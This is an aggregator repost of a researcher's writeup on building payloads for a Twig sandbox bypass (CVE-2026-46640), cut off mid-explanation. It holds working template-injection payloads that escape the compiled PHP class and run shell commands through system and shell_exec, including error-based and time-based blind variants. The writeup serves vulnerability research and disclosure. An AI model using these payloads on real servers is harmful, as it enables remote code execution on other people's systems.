Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Reddit r/netsec

CVE-2026-46640: Developing payloads for Twig sandbox bypass

  • What: Research on payload development for a Twig sandbox bypass vulnerability
  • Impact: Developers using Twig may be affected if they are not properly securing their templates
Read Full Article →

CVE-2026-46640 writeup I recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing. From the descriptions, only CVE-2026-46640 and CVE-2026-46633 seemed universally exploitable, so I decoded to research them. This writeup documents my development of payloads for the CVE-2026-46640 and the corresponding SSTImap module. Initial observations Compiled template analysis First payload : base for Error-Based and Time-Based Blind payloads Second payload : base for Rendered and Boolean Error-Based Blind payloads SSTImap module Note on CVE-2026-46633 Initial observations From the descriptions, both CVE-2026-46640 and CVE-2026-46633 seemed deceptively simple. I decided to focus on CVE-2026-46640 first, as it did not seem to involve any escaping. Simply trying to recreate the payload from the description allowed me to confirm the presence of code injection using syntax errors: {{_self.( " test " )}} I discovered a way to avoid a syntax error, but got no code execution and the same error as for a regular text string: {{_self.( " ;system('sleep 5');// " )}} It seems like this error occurs before the injected code is reached. I decided to check the generated code to better understand the injection context. Compiled template analysis <?php use Twig \ Environment ; use Twig \ Error \ LoaderError ; use Twig \ Error \ RuntimeError ; use Twig \ Extension \ CoreExtension ; use Twig \ Extension \ SandboxExtension ; use Twig \ Markup ; use Twig \ Sandbox \ SecurityError ; use Twig \ Sandbox \ SecurityNotAllowedTagError ; use Twig \ Sandbox \ SecurityNotAllowedFilterError ; use Twig \ Sandbox \ SecurityNotAllowedFunctionError ; use Twig \ Source ; use Twig \ Template ; use Twig \ TemplateWrapper ; /* tpl */ class __TwigTemplate_575a870d8cf1f6c0da148c3829610465 extends Template { private Source $ source ; /** * @var array<string, Template> */ private array $ macros = []; public function __construct ( Environment $ env ) { parent :: __construct ( $ env ); $ this -> source = $ this -> getSourceContext (); $ this -> parent = false ; $ this -> blocks = [ ]; } protected function doDisplay ( array $ context , array $ blocks = []): iterable { $ macros = $ this -> macros ; // line 1 yield $ this -> getTemplateForMacro ( " macro_ ;system('sleep 5');// " , $ context , 1 , $ this -> getSourceContext ())-> macro_ ; system ( ' sleep 5 ' ); // (...[]); yield from []; } /** * @codeCoverageIgnore */ public function getTemplateName (): string { return " tpl " ; } /** * @codeCoverageIgnore */ public function isTraitable (): bool { return false ; } /** * @codeCoverageIgnore */ public function getDebugInfo (): array { return array ( 42 => 1 ,); } public function getSourceContext (): Source { return new Source ( "" , " tpl " , "" ); } } As you might notice, the only two places, where the payload is used, are in the same line of code inside doDisplay function: yield $ this -> getTemplateForMacro ( " macro_ ;system('sleep 5');// " , $ context , 1 , $ this -> getSourceContext ())-> macro_ ; system ( ' sleep 5 ' ); // (...[]); The first time, our payload is correctly escaped inside the string, but the second injection point allows arbitrary code. The injected code is not executed, since getTemplateForMacro right before it causes a fatal error. First payload Since our code inside doDisplay will never be reached, we need to escape the context of that function and inject the code there. Fully escaping the class definition would be possible, but it would make the payload very long. As a result, I decided to try injecting a function inside the generated class. The part after the injection contains yield , turning that function into a generator. Since a lot of useful overridable functions can't be generators, I added an unused second function. For a simple payload I decided to use __destruct() , as the object will be destroyed after the error: {{_self.( " ;}function __destruct(){system('id');}function a(){// " )}} This payload worked and printed the command output after the error message. Since PHP allows changing error visibility inside dhe code, I made a proper Error-Based payload: {{_self.( " ;}function __destruct(){error_reporting(1);ini_set('display_errors', 1);call_user_func(shell_exec('id'));}function a(){// " )}} I also used the same payload idea to create Time-Based Blind payload: {{_self.( " ;}function __destruct(){system('id && sleep 5');}function a(){// " )}} Second payload The previous approach of bypassing the error does not prevent rendering from breaking. Boolean Error-Based Blind exploitation would be more stable if the page would be rendered normally. The fatal error is caused by getTemplateForMacro function defined in the parent Twig class. This allows us to override this function inside our injected code: {{_self.( " ;}function getTemplateForMacro(string $ name ,array $ context ,int $ line ,Twig \\ Source $ source ):Twig \\ Template{system('id');return $ this ;}function a(){// " )}} This already works, printing ...

Share this article